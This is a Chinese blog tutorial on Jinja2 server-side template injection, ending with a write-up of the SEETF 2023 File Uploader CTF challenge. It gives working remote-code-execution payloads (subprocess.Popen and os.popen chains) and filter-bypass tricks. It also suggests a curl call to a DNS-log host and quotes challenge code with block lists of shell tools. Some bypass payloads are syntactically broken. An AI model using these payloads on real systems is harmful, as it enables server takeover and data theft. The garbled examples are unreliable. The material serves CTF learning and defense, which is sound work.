Gentle_knife's Studio.

SSTI

Word count: 6kReading time: 28 min
2025/07/21
loading

理论

SSTI的总结

什么是 SSTI?为什么它是一个漏洞?

什么是模板引擎?

在网站开发中,模板引擎是一种用来生成网页内容的工具。它允许开发者写一个“模板”,模板里可以写一些固定内容,也可以写一些占位符(变量),这些占位符在运行时会被真实数据替换。

比如你有一个模板:

1
2
3
4
5
<html>
<body>
<h1>Hello, {{ username }}!</h1>
</body>
</html>

当你访问网页时,服务器会把{{ username }}替换成具体的用户名,比如“小明”,然后给你展示:

1
2
3
4
5
<html>
<body>
<h1>Hello, 小明!</h1>
</body>
</html>

这里{{ username }}就是模板语法中的变量占位符。

SSTI 是什么?

SSTI 是 Server-Side Template Injection(服务端模板注入) 的缩写。它是一种安全漏洞。

它发生的情况是:

  • 网站接受用户输入(比如用户名、评论、搜索词等)
  • 直接把用户输入放到模板里,且没有做任何过滤和限制
  • 用户输入中可能包含恶意模板代码
  • 服务器在渲染模板时,会把这些恶意代码当成正常模板代码执行

举个简单例子:

假设模板是:

1
Hello, {{ user_input }}!

如果正常用户输入小明,页面会显示Hello, 小明!

但如果攻击者输入:

1
{{ 7 * 7 }}

服务器会把{{ 7 * 7 }}当成模板语法执行,计算7乘7,显示Hello, 49!

这个例子很简单,但如果模板引擎功能更强大,攻击者就能执行更多危险操作,比如读取文件、执行命令等。

为什么 SSTI 很危险?

  • 服务器代码执行:攻击者可以执行任意代码,可能拿到服务器权限
  • 数据泄露:能读取服务器上的敏感信息,比如配置文件、数据库密码
  • 破坏系统:可能导致服务器崩溃,或者被用来做更高级的攻击

简单总结

  • 模板引擎:用变量和模板语法生成网页内容
  • SSTI:用户输入没过滤,恶意模板代码被执行
  • 结果:攻击者能控制服务器执行代码,带来安全风险

常见模板引擎及其模板语法特点

为什么要了解不同模板引擎?

因为不同的语言和框架用的模板引擎不同,它们的语法也不完全一样。要判断一个网站是不是存在 SSTI,首先要识别用的是哪种模板引擎,然后才能构造合适的 payload(注入语句)。

常见的模板引擎分类(按语言划分)

编程语言 模板引擎 特点示例(打印 7*7)
Python Jinja2 {{ 7*7 }}
→ 49
PHP Twig {{ 7*7 }}
→ 49
Ruby ERB <%= 7*7 %>
→ 49
Java Freemarker ${7*7}
→ 49
Java Velocity #set($x = 7*7) $x
→ 49
JavaScript EJS <%= 7*7 %>
→ 49

你需要记住的重点(先掌握 Jinja2)

我们最常见、最常练习的 SSTI 题目,一般都是基于 Python 的 Jinja2 模板引擎。

它的语法特点是:

  • 变量:{{ variable }}
  • 表达式:{{ 1+2 }}
  • 函数调用:{{ func() }}
  • 控制结构:{% if ... %}{% for ... %}(但用得较少)

Jinja2 功能强大,漏洞利用空间大,所以我们重点学习它。

Jinja2 的基本利用方式和变量调试方法

判断是否存在 SSTI(测试表达式执行)

如果你看到一个输入框、URL 参数、表单,内容被服务器处理后显示出来,你可以尝试:

1
{{7*7}}

如果页面显示:

1
49

说明服务器把你的内容当成了 Jinja2 模板表达式执行了

探测变量(寻找“对象”)

Jinja2 是基于 Python 的模板引擎,它有很多内置的对象。即使你无法直接看到系统函数,也可以通过“找父类、找属性”慢慢探索出更多功能。

一个常见的调试技巧是:

1
{{ ''.__class__ }}

它会返回:

1
<class 'str'>

意思是:你构造了一个空字符串 '',然后用 . __class__ 找到了它的类,也就是 str

__mro__ → 父类列表

1
{{ ''.__class__.__mro__ }}

输出会是一个元组(类的继承链):

1
(<class 'str'>, <class 'object'>)

这里你已经能访问到 object 类了,它是所有类的父类。

找到所有子类(核心技巧)

1
{{ ''.__class__.__mro__[1].__subclasses__() }}

这行代码的意思是:

  • ''.__class__str
  • .__mro__[1]object
  • .__subclasses__()object 的所有子类(列表)

这个列表包含了所有 Python 中加载的类,比如:

  • <class 'warnings.catch_warnings'>
  • <class 'subprocess.Popen'>

如果你能在这里找到 subprocess.Popen,你就有机会执行系统命令了!

如何在 Jinja2 中利用 subprocess.Popen 执行命令

思路概览

Jinja2 是基于 Python 的,所以我们目标就是:

✅ 在模板中找到 Python 的某个“可以执行命令”的类,比如:
subprocess.Popen
→ 或者 os.system

然后我们通过模板语法调用它们:

1
{{ 命令执行类("ls", shell=True, stdout=-1).communicate()[0] }}

怎么找到 subprocess.Popen

我们上一部分说到了可以找到所有类的列表:

1
{{ ''.__class__.__mro__[1].__subclasses__() }}

这会返回一个很长的列表,其中某一项就是 <class 'subprocess.Popen'>

你可以像下面这样枚举看看:

1
{{ ''.__class__.__mro__[1].__subclasses__()[index] }}

你可以一个个试,比如:

1
{{ ''.__class__.__mro__[1].__subclasses__()[408] }}

只要输出类似:

1
<class 'subprocess.Popen'>

你就找到它了!这时候记住这个下标,比如是408。

造 payload 执行命令

找到了 Popen 之后,我们就能:

1
2
3
4
5
jinja2


复制编辑
{{ ''.__class__.__mro__[1].__subclasses__()[408]("ls", shell=True, stdout=-1).communicate()[0] }}

解释一下:

  • shell=True:允许像终端那样执行命令
  • stdout=-1:表示捕获输出
  • .communicate()[0]:获取执行结果

最终,这一段 payload 会在服务端执行 ls 命令,并把结果返回到网页上。

注意事项

  • 如果不能使用 shell=True,可能只能执行二进制命令(麻烦点)
  • 某些环境中你找不到 subprocess,但可以找 os.systemeval 等其他方式(我们后面再讲)
  • 有时候输出是字节串(如:b'flag.txt\n'),可以加 .decode().strip() 优化显示

总结这一部分

完整攻击流程如下:

1
2
3
4
5
jinja2


复制编辑
{{ ''.__class__.__mro__[1].__subclasses__()[408]("ls", shell=True, stdout=-1).communicate()[0] }}

这就是Jinja2 SSTI 命令执行的典型 payload

更方便地找 subclass + 字符串构造技巧

无引号构造字符串技巧

有时候 WAF(防护系统)会限制你使用引号("'),比如你不能写:

1
2
3
4
5
jinja2


复制编辑
{{ "ls" }}

这时你可以绕过,用 Python 的字符串构造方式。

方法一:用 chr() 拼接字符串

1
{{ ''.join([chr(108), chr(115)]) }}

→ 这会拼出字符串 "ls"

  • 108 是 'l'
  • 115 是 's'

你可以用这种方法拼出任意命令,比如:

1
2
3
4
5
jinja2


复制编辑
{{ ''.join([chr(99),chr(97),chr(116),chr(32),chr(47),chr(102),chr(108),chr(97),chr(103)]) }}

→ 拼出 cat /flag

方法二:用已知字符串切片

你还可以用已有的字符串来切,比如:

1
{{ "class"[0] + "open"[1] }}

→ 拼出 'co'

也可以写成:

1
{{ ('abcde'*100)[100] }}

→ 输出某个你想要的字符(用于更复杂绕过)

Jinja2 的沙箱逃逸和函数调用技巧(进阶 SSTI)

在一些环境下,Jinja2 可能启用了“沙箱模式”,意思是:

虽然有模板注入点,但模板语法的功能被“限制”了,不能直接访问敏感对象,比如 __class____subclasses__()os 等。

这一部分我们讲的就是:如何在沙箱环境中逃逸出来,继续执行命令或读取文件

什么是沙箱(sandbox)?

沙箱模式通常启用了一些保护:

  • 不允许访问双下划线变量(__xxx__
  • 不允许访问 Python 的内建函数(如 open()eval()
  • 不允许访问系统模块(如 ossubprocess

但其实这些保护并不牢靠,如果存在漏洞,我们可以通过 Jinja2 本身的模板语法逃逸出去

函数调用逃逸技巧

Jinja2 本身会阻止你访问 __class__,但它不会阻止你使用 attr()getitem() 等模板函数。

示例:用 attr() 调用被限制的属性

1
2
3
4
5
6
7
8
9
jinja2


复制编辑
{{ ''.__class__.__mro__[1].__subclasses__() }} ← 可能被禁用

但你可以绕过成:

{{ ''.__class__ | attr('__mro__') | attr('__getitem__')(1) | attr('__subclasses__')() }}

→ 作用和前面一样,但语法更隐蔽,容易绕过 WAF 或沙箱检查。

沙箱逃逸经典 payload(FileSystemLoader 漏洞)

如果你发现 Jinja2 模板上下文中包含了 **environment**,那你就有很大机会逃逸!

比如:

1
2
3
4
5
jinja2


复制编辑
{{ self }}

输出了:

1
2
3
4
5
bash


复制编辑
<TemplateReference 'index.html'>

那你可以尝试访问它的环境对象:

1
2
3
4
5
jinja2


复制编辑
{{ self.environment }}

然后构造 payload:

1
2
3
4
5
jinja2


复制编辑
{{ self.environment.__class__.__init__.__globals__['os'].popen('ls').read() }}

分析:

  • self.environment 是当前模板环境
  • . __class__.__init__.__globals__ 能拿到环境构造函数的全局变量
  • 其中包含了 os 模块
  • .popen('ls').read() 就是执行命令并读取结果!

SSTI 实战技巧与练习方向

出题人常用的 SSTI 套路

套路编号 描述 示例
T1 回显明显 输入框或参数直接回显,容易发现漏洞
T2 绕过黑名单 限制了 __class__
subprocess
os
等关键字
T3 没有回显 命令执行成功了但没有输出,要用 DNSlog 或文件落地判断
T4 模板拼接漏洞 代码用字符串拼接模板,而不是传入变量
T5 Jinja2 非主线利用 不让你用 __subclasses__()
,得用其他方式 RCE,比如 eval
get_flashed_messages

解题流程建议(新手通用)

  1. 观察页面功能:有没有输入框、参数能被展示出来?
  2. 测试表达式执行:尝试 {{7*7}} 看是否变成 49
  3. 确认是哪个模板引擎:常见如 Jinja2、Twig、Velocity,先猜是 Jinja2
  4. 判断是否存在限制:尝试 .__class__.__mro__ 是否报错
  5. 构造命令执行 payload:用 .subclasses__() + Popen,或环境对象绕过
  6. 没有回显怎么办?
    • 尝试命令写文件 /tmp/a.txt
    • 尝试 DNS 查询 curl yourdomain.dnslog.cn
    • whoamiidpwd 这类命令调试

构造更强大的 Payload(读取变量、RCE 等)

在这一部分,我们要开始从简单的 {{7*7}}升级到更复杂、更危险的利用,例如:

  • 读取服务器上的 Python 变量
  • 执行系统命令(比如 lscat /flag
  • 绕过一些黑名单

🔍 第一步:了解你可以访问什么变量

SSTI 的一个核心点是:你可以访问 Jinja2 模板中的变量。

例如:

1
2
3
4
5
jinja2


复制编辑
Hello {{ user }}

这个模板在后端执行时,如果传入了 user="小明",就会显示:

1
2
3
4
5
nginx


复制编辑
Hello 小明

但是如果你控制了模板内容,就可以尝试访问其他变量,比如:

1
2
3
4
5
6
7
jinja2


复制编辑
{{ config }}
{{ request }}
{{ self }}

这些变量如果存在,你就能拿到其中的值,比如:

1
2
3
4
5
6
jinja2


复制编辑
{{ request.args }} → URL 参数
{{ config.items() }} → Flask 配置(有 SECRET_KEY 等)

第二步:利用 Python 对象属性穿透执行命令(RCE)

我们目标是:拿到一个系统函数,比如 os.system(),然后执行命令!

关键利用链:

我们要想办法,从模板中找出一个“函数”,然后不断调用属性或方法,最终找到 os.system 这种“可利用”的危险函数。

经典链条(Jinja2专属)是:

1
2
3
4
5
jinja2


复制编辑
{{''.__class__.__mro__[1].__subclasses__()}}

🔍 解释一下:

  • '' 是一个空字符串
  • .__class__ 是它的类,字符串的类是 <class 'str'>
  • .__mro__ 是“方法解析顺序”,可以获取其父类
  • [1]<class 'object'>
  • .__subclasses__() 是 object 的所有子类(系统内建的类)

这些子类中有个叫 <class 'subprocess.Popen'> 的类。

我们就可以:

1
2
3
4
5
jinja2


复制编辑
{{''.__class__.__mro__[1].__subclasses__()[<index>]('ls',shell=True,stdout=-1).communicate()}}

这个 payload 会执行系统命令 ls,并返回输出!


怎么找 index?

你可以先把所有子类都列出来:

1
2
3
4
5
jinja2


复制编辑
{{''.__class__.__mro__[1].__subclasses__()}}

然后尝试找出 subprocess.Popen 所在的位置,比如说是第 392 个:

1
2
3
4
5
jinja2


复制编辑
{{''.__class__.__mro__[1].__subclasses__()[392]('ls', shell=True, stdout=-1).communicate()}}

补充:Jinja2 自带的一些危险函数

你也可以用一些 Jinja2 暴露出来的函数,比如:

1
2
3
4
5
6
jinja2


复制编辑
{{ config }}
{{ cycler.__init__.__globals__.os.popen('ls').read() }}

这条链很出名,用的是 cycler__globals__ 字典获取 os 模块。


实践建议:

你可以现在在题目中尝试:

1
2
3
4
5
jinja2


复制编辑
{{''.__class__.__mro__[1].__subclasses__()}}

看看能不能列出所有类,或者用:

1
2
3
4
5
jinja2


复制编辑
{{ config.items() }}

试图读一些配置变量。

WAF 绕过技巧(过滤字符怎么继续打 SSTI)

有些比赛或实际应用,为了防御 SSTI,会设置 WAF(Web 应用防火墙),过滤某些关键字符,比如:

  • __(双下划线)
  • ()(小括号)
  • [](中括号)
  • .(点)
  • importoseval 等关键词

目标:绕过这些字符限制,依然执行 SSTI Payload

下面是几种常用的绕过思路:


  1. 利用 attr() 函数绕过 .属性名

在 Jinja2 中,你可以用 attr() 代替点运算符:

1
2
3
4
5
6
7
8
jinja2


复制编辑
{{ ''.__class__.__mro__[1] }} ❌ 被过滤了点

✅ 可以写成:
{{ ''.|attr('__class__')|attr('__mro__')[1] }}

或者更通用地写成:

1
2
3
4
5
jinja2


复制编辑
{{ getattr('', '__class__') }}

  1. 利用 |attr()|replace() 绕过 __
1
2
3
4
5
jinja2


复制编辑
{{ ''.|attr('__class__') }}

如果过滤了 __,我们可以自己拼出它:

1
2
3
4
5
jinja2


复制编辑
{{ ''.|attr('_' + '_' + 'class' + '_' + '_') }}

或者:

1
2
3
4
5
jinja2


复制编辑
{{ ''.|attr('__class__'.replace('C', 'c')) }}

  1. 利用 join() / ljust() 拼接关键字

举例:过滤了 os

1
2
3
4
5
jinja2


复制编辑
{{ cycler.__init__.__globals__['o'+'s'].popen('ls').read() }}

如果过滤了 (),可以用 |attr 找到 .read 方法,然后用 |safe|join 拼接后调用。


  1. 利用 dictmrosubclasses() 结合循环尝试找目标类

比如你无法写出完整的:

1
2
3
4
5
jinja2


复制编辑
{{''.__class__.__mro__[1].__subclasses__()[392]}}

你可以遍历:

1
2
3
4
5
6
7
8
9
jinja2


复制编辑
{% for cls in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'subprocess' in cls.__module__ %}
{{ cls }}
{% endif %}
{% endfor %}

  1. 用 safe 过滤器解码 HTML 实体字符

有些场景中过滤器把 <> 编码了:

1
2
3
4
5
6
html


复制编辑
{{7*7}} → {{7*7}} → 输出:49
{{7*7|safe}} → 强制让输出原样返回

🎯 重点总结

绕过目标 替代技巧
.
点号
attr()
getattr()
__ 拼接字符串、replace()
() 用 `
[] loop
for
遍历对象
os 用拼接:'o'+'s'
import __import__()
、拼接、内建遍历等

[SEETF 2023]File Uploader 1

https://hackmd.io/@itami/r1BPWhSwn#2file-uploader-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method != 'POST':
return redirect(url_for('profile'))

# check if the post request has the file part
if 'file' not in request.files:
return redirect(url_for('profile'))
file = request.files['file']

# If the user does not select a file, the browser submits an empty file without a filename.
if file.filename == '':
return redirect(url_for('profile'))

fileext = get_fileext(file.filename)

file.seek(0, 2) # seeks the end of the file
filesize = file.tell() # tell at which byte we are
file.seek(0, 0) # go back to the beginning of the file

if fileext and filesize < 10*1024*1024:
if session['ext'] and os.path.exists(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext'])):
os.remove(os.path.join(UPLOAD_FOLDER, session['uuid']+"."+session['ext']))
session['ext'] = fileext
filename = session['uuid']+"."+session['ext']
file.save(os.path.join(UPLOAD_FOLDER, filename))
return redirect(url_for('profile'))
else:
template = f"""
{file.filename} is not valid because it is too big or has the wrong extension
"""
l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\']

l2 = ['aa-exec', 'agetty', 'alpine', 'ansible-playbook', 'ansible-test', 'aoss', 'apt', 'apt-get', 'aria2c', 'arj', 'arp', 'ascii-xfr', 'ascii85', 'ash', 'aspell', 'atobm', 'awk', 'aws', 'base', 'base32', 'base58', 'base64', 'basenc', 'basez', 'bash', 'batcat', 'bconsole', 'bpftrace', 'bridge', 'bundle', 'bundler', 'busctl', 'busybox', 'byebug', 'bzip2', 'c89', 'c99', 'cabal', 'cancel', 'capsh', 'cat', 'cdist', 'certbot', 'check_by_ssh', 'check_cups', 'check_log', 'check_memory', 'check_raid', 'check_ssl_cert', 'check_statusfile', 'chmod', 'choom', 'chown', 'chroot', 'cmp', 'cobc', 'column', 'comm', 'comm ', 'composer', 'cowsay', 'cowthink', 'cpan', 'cpio', 'cpulimit', 'crash', 'crontab', 'csh', 'csplit', 'csvtool', 'cupsfilter', 'curl', 'cut', 'dash', 'date', 'debug', 'debugfs', 'dialog', 'diff', 'dig', 'dir', 'distcc', 'dmesg', 'dmidecode', 'dmsetup', 'dnf', 'docker', 'dos2unix', 'dosbox', 'dotnet', 'dpkg', 'dstat', 'dvips', 'easy_install', 'echo', 'efax', 'elvish', 'emacs', 'env', 'eqn', 'espeak', 'exiftool', 'expand', 'expect', 'facter', 'file', 'find', 'finger', 'fish', 'flock', 'fmt', 'fold', 'fping', 'ftp', 'gawk', 'gcc', 'gcloud', 'gcore', 'gdb', 'gem', 'genie', 'genisoimage', 'ghc', 'ghci', 'gimp', 'ginsh', 'git', 'grc', 'grep', 'gtester', 'gzip', 'head', 'hexdump', 'highlight', 'hping3', 'iconv', 'ifconfig', 'iftop', 'install', 'ionice', 'irb', 'ispell', 'jjs', 'joe', 'join', 'journalctl', 'jrunscript', 'jtag', 'julia', 'knife', 'ksh', 'ksshell', 'ksu', 'kubectl', 'latex', 'latexmk', 'ld.so', 'ldconfig', 'less', 'less ', 'lftp', 'loginctl', 'logsave', 'look', 'ltrace', 'lua', 'lualatex', 'luatex', 'lwp-download', 'lwp-request', 'mail', 'make', 'man', 'mawk', 'more', 'mosquitto', 'mount', 'msfconsole', 'msgattrib', 'msgcat', 'msgconv', 'msgfilter', 'msgmerge', 'msguniq', 'mtr', 'multitime', 'mysql', 'nano', 'nasm', 'nawk', 'ncftp', 'neofetch', 'netstat', 'nft', 'nice', 'nmap', 'node', 'nohup', 'npm', 'nroff', 'nsenter', 'nslookup', 'octave', 'openssl', 'openvpn', 'openvt', 'opkg', 'pandoc', 'paste', 'pax', 'pdb', 'pdflatex', 'pdftex', 'perf', 'perl', 'perlbug', 'pexec', 'php', 'pic', 'pico', 'pidstat', 'ping', 'pip', 'pkexec', 'pkg', 'posh', 'pry', 'psftp', 'psql', 'ptx', 'puppet', 'pwsh', 'rake', 'readelf', 'red', 'redcarpet', 'redis', 'restic', 'rev', 'rlogin', 'rlwrap', 'route', 'rpm', 'rpmdb', 'rpmquery', 'rpmverify', 'rsync', 'rtorrent', 'ruby', 'run-mailcap', 'run-parts', 'rview', 'rvim', 'sash', 'scanmem', 'scp', 'screen', 'script', 'scrot', 'sed', 'service', 'setarch', 'setfacl', 'setlock', 'sftp', 'shuf', 'slsh', 'smbclient', 'snap', 'socat', 'socket', 'soelim', 'softlimit', 'sort', 'split', 'sqlite3', 'sqlmap', 'ssh', 'ssh-agent', 'ssh-keygen', 'ssh-keyscan', 'sshpass', 'start-stop-daemon', 'stdbuf', 'strace', 'strings', 'sysctl', 'systemctl', 'systemd-resolve', 'tac', 'tail', 'tar', 'task', 'taskset', 'tasksh', 'tbl', 'tclsh', 'tcpdump', 'tdbtool', 'tee', 'telnet', 'tex', 'tftp', 'time', 'timedatectl', 'timeout', 'tmate', 'tmux', 'top', 'torify', 'torsocks', 'touch', 'traceroute', 'troff', 'truncate', 'tshark', 'unexpand', 'uniq', 'unshare', 'unzip', 'update-alternatives', 'uudecode', 'uuencode', 'vagrant', 'valgrind', 'view', 'vigr', 'vim', 'vimdiff', 'vipw', 'virsh', 'volatility', 'w3m', 'wall', 'watch', 'wget', 'whiptail', 'whois', 'wireshark', 'wish', 'xargs', 'xdotool', 'xelatex', 'xetex', 'xmodmap', 'xmore', 'xpad', 'xxd', 'yarn', 'yash', 'yelp', 'yum', 'zathura', 'zip', 'zsh', 'zsoelim', 'zypper']


for i in l1:
if i in template.lower():
print(template, i, file=sys.stderr)
template = "nice try"
break
matches = re.findall(r"['\"](.*?)['\"]", template)
for match in matches:
print(match, file=sys.stderr)
if not re.match(r'^[a-zA-Z0-9 \/\.\-]+$', match):
template = "nice try"
break
for i in l2:
if i in match.lower():
print(i, file=sys.stderr)
template = "nice try"
break
return render_template_string(template)

代码最后这句:

1
return render_template_string(template)

这是 Flask 的模板渲染函数之一,它接受一个字符串形式的模板,并执行其中的 Jinja2 模板表达式。

这就比普通的 render_template('index.html') 要危险很多,因为它不是在渲染一个静态 HTML 文件而是动态生成的字符串,里面的内容会被解释执行!

这个字符串是怎么来的?

来看这几句:

1
2
3
template = f"""
{file.filename} is not valid because it is too big or has the wrong extension
"""

→ 也就是说:用户上传的文件名(**file.filename**)直接被拼进了模板字符串中,然后被 render_template_string() 渲染了。

这意味着,如果你上传一个文件,文件名中只要包含合法的 Jinja2 模板语法(如 **{{7*7}}**),它就会被解释执行!

1
l1 = ['+', '{{', '}}', '[2]', 'flask', 'os','config', 'subprocess', 'debug', 'read', 'write', 'exec', 'popen', 'import', 'request', '|', 'join', 'attr', 'globals', '\\'] 
1
2
3
4
5
针对过滤的字符,我们可以用:**{% print(...) %} **

**{% print(...) %} 是什么意思?**

这是 **Jinja2 模板语法中的一种语句块写法**,叫做「控制语句」,表示我们要在模板中执行一个 Python 表达式或语句。

Jinja2 模板语法分两种括号:

类型 写法 作用
输出表达式 {{ ... }} 把结果“显示”在网页上
执行语句 {% ... %} 执行某段代码,不自动输出
1
我们把文件命名为`{% print([].__class__.__base__.__subclasses__()%}`

得到

然后在 99 找到:

1
{% print(object.__subclasses__()[99]) %}

FileLoader 是干嘛的?

它是 Python 内置模块中的一个类,用来 加载 Python 文件

它的结构大概如下(简化):

1
2
3
4
5
6
7
8
9
10
python


复制编辑
class FileLoader:
def __init__(self, name, path):
...
def get_data(self, path):
with open(path, 'rb') as f:
return f.read()

你可以看到它的 get_data(path) 方法就是读取文件内容!

参数为什么是 (0, 'flag.txt')

你传的是:

1
.get_data(0, 'flag.txt')

实际上真正的定义是:

1
get_data(path: str)

所以:

  • 你只需要传一个参数:路径;
  • 但这个类可能做了一些包装,self.get_data(loader_context, path) 也是可能的;
  • 所以传一个不影响读取的参数(None0)也行。

你只要试出来 **哪一类能用 ****.get_data()**,就可以传参数试着读文件。

CATALOG
  1. 1. 理论
    1. 1.1. 什么是 SSTI?为什么它是一个漏洞?
      1. 1.1.1. 什么是模板引擎?
      2. 1.1.2. SSTI 是什么?
      3. 1.1.3. 为什么 SSTI 很危险?
      4. 1.1.4. 简单总结
    2. 1.2. 常见模板引擎及其模板语法特点
      1. 1.2.1. 为什么要了解不同模板引擎?
      2. 1.2.2. 常见的模板引擎分类(按语言划分)
      3. 1.2.3. 你需要记住的重点(先掌握 Jinja2)
    3. 1.3. Jinja2 的基本利用方式和变量调试方法
      1. 1.3.1. 判断是否存在 SSTI(测试表达式执行)
      2. 1.3.2. 探测变量(寻找“对象”)
        1. 1.3.2.1. 一个常见的调试技巧是:
      3. 1.3.3. 到 __mro__ → 父类列表
      4. 1.3.4. 找到所有子类(核心技巧)
    4. 1.4. 如何在 Jinja2 中利用 subprocess.Popen 执行命令
      1. 1.4.1. 思路概览
      2. 1.4.2. 怎么找到 subprocess.Popen?
      3. 1.4.3. 造 payload 执行命令
      4. 1.4.4. 注意事项
      5. 1.4.5. 总结这一部分
    5. 1.5. 更方便地找 subclass + 字符串构造技巧
      1. 1.5.1. 无引号构造字符串技巧
        1. 1.5.1.1. 方法一:用 chr() 拼接字符串
        2. 1.5.1.2. 方法二:用已知字符串切片
    6. 1.6. Jinja2 的沙箱逃逸和函数调用技巧(进阶 SSTI)
      1. 1.6.1. 什么是沙箱(sandbox)?
      2. 1.6.2. 函数调用逃逸技巧
    7. 1.7. SSTI 实战技巧与练习方向
      1. 1.7.1. 出题人常用的 SSTI 套路
      2. 1.7.2. 解题流程建议(新手通用)
      3. 1.7.3. 构造更强大的 Payload(读取变量、RCE 等)
    8. 1.8. WAF 绕过技巧(过滤字符怎么继续打 SSTI)
    9. 1.9. 🎯 重点总结
  2. 2. [SEETF 2023]File Uploader 1
    1. 2.1. FileLoader 是干嘛的?
    2. 2.2. 参数为什么是 (0, 'flag.txt')?